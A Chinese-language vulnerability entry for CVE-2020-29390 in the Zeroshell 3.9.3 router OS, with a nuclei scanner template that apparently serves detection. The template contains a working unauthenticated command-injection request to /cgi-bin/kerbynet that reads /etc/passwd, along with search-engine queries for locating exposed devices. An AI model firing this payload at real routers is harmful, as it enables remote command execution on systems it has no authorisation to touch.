Zeroshell 393 - Command Injection

漏洞信息

漏洞名称： Zeroshell 3.9.3 - Command Injection

漏洞编号：

• CVE： CVE-2020-29390

漏洞类型： 命令执行

漏洞等级： 严重

漏洞描述： Zeroshell是一款基于Linux的路由器操作系统，广泛用于企业网络环境中，提供路由、防火墙、VPN等功能。由于其部署在网络边界，安全性至关重要。该系统中存在一个命令注入漏洞，位于/cgi-bin/kerbynet的StartSessionSubmit参数中。攻击者可以通过构造特定的HTTP请求，利用shell元字符和%0a字符，无需认证即可在目标系统上执行任意命令。此漏洞的根源在于对用户输入的不当处理，未能有效过滤或转义特殊字符，导致攻击者可以注入恶意命令。成功利用此漏洞的攻击者可以完全控制受影响的系统，执行任意代码，可能导致数据泄露、服务中断或其他恶意活动。由于漏洞利用无需认证，且可以远程触发，因此风险极高。建议用户立即升级到最新版本或应用供应商提供的安全补丁。

产品厂商： zeroshell

产品名称： zeroshell

影响版本： 3.9.3

搜索语法： http.title:”zeroshell”

来源： https://github.com/projectdiscovery/nuclei-templates/blob/146eebb7ff5a3e6aa73541a39dbb4af0cccb3135/http%2Fcves%2F2020%2FCVE-2020-29390.yaml

类型： projectdiscovery/nuclei-templates:github issues

POC详情

id: CVE-2020-29390

info:
  name: Zeroshell 3.9.3 - Command Injection
  author: DhiyaneshDk
  severity: critical
  description: |
    Zeroshell 3.9.3 contains a command injection vulnerability in the /cgi-bin/kerbynet StartSessionSubmit parameter that could allow an unauthenticated attacker to execute a system command by using shell metacharacters and the %0a character.
  impact: |
    Successful exploitation of this vulnerability allows remote attackers to execute arbitrary commands on the target system.
  remediation: |
    Upgrade to the latest version of Zeroshell or apply security patches provided by the vendor.
  reference:
    - https://web.archive.org/web/20210303043709/https://blog.quake.so/post/zeroshell_linux_router_rce/
    - https://www.exploit-db.com/exploits/41040
    - https://nvd.nist.gov/vuln/detail/CVE-2020-29390
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2020-29390
    cwe-id: CWE-78
    epss-score: 0.40234
    epss-percentile: 0.97171
    cpe: cpe:2.3:o:zeroshell:zeroshell:3.9.3:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: zeroshell
    product: zeroshell
    shodan-query: http.title:"zeroshell"
    fofa-query: title="zeroshell"
    google-query: intitle:"zeroshell"
  tags: cve,cve2020,zeroshell,rce,router,kev

http:
  - raw:
      - |
        GET /cgi-bin/kerbynet?Action=StartSessionSubmit&User=%27%26cat%20/etc/passwd%26%27&PW= HTTP/1.1
        Host: {{Hostname}}

    matchers-condition: and
    matchers:
      - type: regex
        part: body
        regex:
          - "root:.*:0:0:"

      - type: word
        part: body
        words:
          - "<title>Start Session</title>"

      - type: status
        status:
          - 200